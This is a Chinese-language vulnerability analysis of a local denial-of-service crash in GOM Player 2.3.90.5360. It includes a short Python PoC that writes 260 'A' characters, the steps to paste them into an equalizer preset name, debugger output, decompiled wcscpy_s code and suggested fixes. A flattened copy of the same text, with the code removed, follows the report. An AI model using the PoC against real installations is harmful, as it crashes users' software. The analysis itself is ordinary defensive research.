GOM Player 2.3.90.5360 - Buffer Overflow
字数 1048 2025-08-22 18:37:22

GOM Player 2.3.90.5360 缓冲区溢出漏洞分析报告

1. 漏洞概述

1.1 基本信息

  • 软件名称: GOM Player (Gretech Online Movie Player)
  • 开发商: 韩国 GRETECH
  • 版本: 2.3.90.5360
  • 漏洞类型: 安全函数误用导致的拒绝服务
  • CVE编号: 未分配
  • 影响: 导致程序崩溃

1.2 漏洞描述

GOM Player在处理均衡器预设名称时,当输入的内容大于等于预设名称空间时,wcscpy_s函数检测到目标缓冲区大小无法容纳源字符串而主动抛出异常,导致程序崩溃。

2. 漏洞复现

2.1 环境准备

2.2 PoC代码

exploit = 'A' * 260
try:
    file = open("exploit.txt", "w")
    file.write(exploit)
    file.close()
    print("POC is created")
except:
    print("POC is not created")

2.3 触发步骤

  1. 打开GOM Player
  2. 点击齿轮图标打开设置
  3. 从菜单中选择"Audio"
  4. 点击"Equalizer"
  5. 点击加号进入"Add EQ preset"界面
  6. 将exploit.txt内容复制到预设名称框中并点击OK
  7. 程序崩溃

3. 漏洞分析

3.1 崩溃现场分析

崩溃时WinDbg显示:

(219c.2778): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
Subcode: 0x5 FAST_FAIL_INVALID_ARG
eax=00000001 ebx=0b1f0f70 ecx=00000005 edx=00000000 esi=00000022 edi=0b1f0f70
eip=00ee71de esp=01afecc8 ebp=01afece0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
GOM32Q_vc120_ReleaseQC+0x6371de:
00ee71de cd29            int     29h

3.2 调用栈回溯

0:000> kb
# ChildEBP RetAddr  Args to Child              
00 01afece0 00ee71cc 00000000 00000000 00000000 GOM32Q_vc120_ReleaseQC+0x6371de
01 01afed04 00ab6a63 01afee0c 00000104 0b1fb610 GOM32Q_vc120_ReleaseQC+0x6371cc
02 01aff058 00a9d040 0b1f39a0 00000001 00db723a GOM32Q_vc120_ReleaseQC+0x206a63
...

关键漏洞点位于00ab6a63,即wcscpy_s函数调用处。

3.3 内存分析

  • 输入缓冲区(Source):
0:000> dc 0b1fb610
0b1fb610 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0b1fb620 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
...
  • 目标缓冲区(Destination):
0:000> dc 01afee0c
01afee0c 00410000 00410041 00410041 00410041 ..A.A.A.A.A.A.A.
01afee1c 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
...

3.4 wcscpy_s函数实现分析

errno_t __cdecl wcscpy_s(wchar_t *Destination, rsize_t SizeInWords, const wchar_t *Source)
{
    rsize_t v3; // edx
    const wchar_t *v4; // ecx
    int *v5; // eax
    errno_t result; // eax
    wchar_t v7; // ax
    errno_t v8; // [esp-4h] [ebp-8h]

    if(!Destination)
        goto LABEL_5;
    v3 = SizeInWords;
    if(!SizeInWords)
        goto LABEL_5;
    v4 = Source;
    if(!Source)
    {
        *Destination = 0;
LABEL_5:
        v5 = _errno();
        v8 = 22;
LABEL_6:
        *v5 = v8;
        _invalid_parameter_noinfo();
        return v8;
    }
    do
    {
        v7 = *v4;
        *(v4 + Destination - Source) = *v4;
        ++v4;
        if(!v7)
            break;
        --v3;
    }
    while(v3);
    result = 0;
    if(!v3)
    {
        *Destination = 0;
        v5 = _errno();
        v8 = 34;
        goto LABEL_6;
    }
    return result;
}

3.5 漏洞根本原因

  1. 目标缓冲区大小为0x104(260)个宽字符
  2. 当输入长度≥260时,wcscpy_s会:
    • 将目标缓冲区首字符置为0
    • 抛出异常(错误码34)
  3. 程序未处理此异常,导致崩溃

4. 漏洞利用分析

4.1 利用限制

  • 无法实现任意代码执行
  • 仅能导致程序崩溃(拒绝服务)
  • 无法控制崩溃后的程序流程

4.2 漏洞链分析

  1. 用户点击"Add EQ preset"
  2. 程序调用sub_606910
  3. 内部调用wcscpy_s(Destination, 0x104, Source)
  4. strlen(Source) >= 0x104时触发异常
  5. 异常未被捕获,程序崩溃

5. 修复建议

5.1 临时缓解措施

  • 限制均衡器预设名称长度(≤259字符)

5.2 代码修复方案

  1. 在调用wcscpy_s前检查输入长度:
if(wcslen(Source) >= SizeInWords) {
    // 处理错误,如截断或提示用户
    return ERROR_INVALID_PARAMETER;
}
wcscpy_s(Destination, SizeInWords, Source);
  1. 添加异常处理机制:
__try {
    wcscpy_s(Destination, SizeInWords, Source);
}
__except(EXCEPTION_EXECUTE_HANDLER) {
    // 优雅地处理错误
}

6. 结论

该漏洞是一个由于安全函数(wcscpy_s)使用不当导致的拒绝服务漏洞,无法实现代码执行或权限提升。虽然影响有限,但仍建议开发者修复以避免用户体验问题。

GOM Player 2.3.90.5360 缓冲区溢出漏洞分析报告 1. 漏洞概述 1.1 基本信息 软件名称 : GOM Player (Gretech Online Movie Player) 开发商 : 韩国 GRETECH 版本 : 2.3.90.5360 漏洞类型 : 安全函数误用导致的拒绝服务 CVE编号 : 未分配 影响 : 导致程序崩溃 1.2 漏洞描述 GOM Player在处理均衡器预设名称时,当输入的内容大于等于预设名称空间时, wcscpy_s 函数检测到目标缓冲区大小无法容纳源字符串而主动抛出异常,导致程序崩溃。 2. 漏洞复现 2.1 环境准备 软件下载 : GitHub仓库 调试工具 : WinDbg 2.2 PoC代码 2.3 触发步骤 打开GOM Player 点击齿轮图标打开设置 从菜单中选择"Audio" 点击"Equalizer" 点击加号进入"Add EQ preset"界面 将exploit.txt内容复制到预设名称框中并点击OK 程序崩溃 3. 漏洞分析 3.1 崩溃现场分析 崩溃时WinDbg显示: 3.2 调用栈回溯 关键漏洞点位于 00ab6a63 ,即 wcscpy_s 函数调用处。 3.3 内存分析 输入缓冲区(Source): 目标缓冲区(Destination): 3.4 wcscpy_s 函数实现分析 3.5 漏洞根本原因 目标缓冲区大小为0x104(260)个宽字符 当输入长度≥260时, wcscpy_s 会: 将目标缓冲区首字符置为0 抛出异常(错误码34) 程序未处理此异常,导致崩溃 4. 漏洞利用分析 4.1 利用限制 无法实现任意代码执行 仅能导致程序崩溃(拒绝服务) 无法控制崩溃后的程序流程 4.2 漏洞链分析 用户点击"Add EQ preset" 程序调用 sub_606910 内部调用 wcscpy_s(Destination, 0x104, Source) 当 strlen(Source) >= 0x104 时触发异常 异常未被捕获,程序崩溃 5. 修复建议 5.1 临时缓解措施 限制均衡器预设名称长度(≤259字符) 5.2 代码修复方案 在调用 wcscpy_s 前检查输入长度: 添加异常处理机制: 6. 结论 该漏洞是一个由于安全函数( wcscpy_s )使用不当导致的拒绝服务漏洞,无法实现代码执行或权限提升。虽然影响有限,但仍建议开发者修复以避免用户体验问题。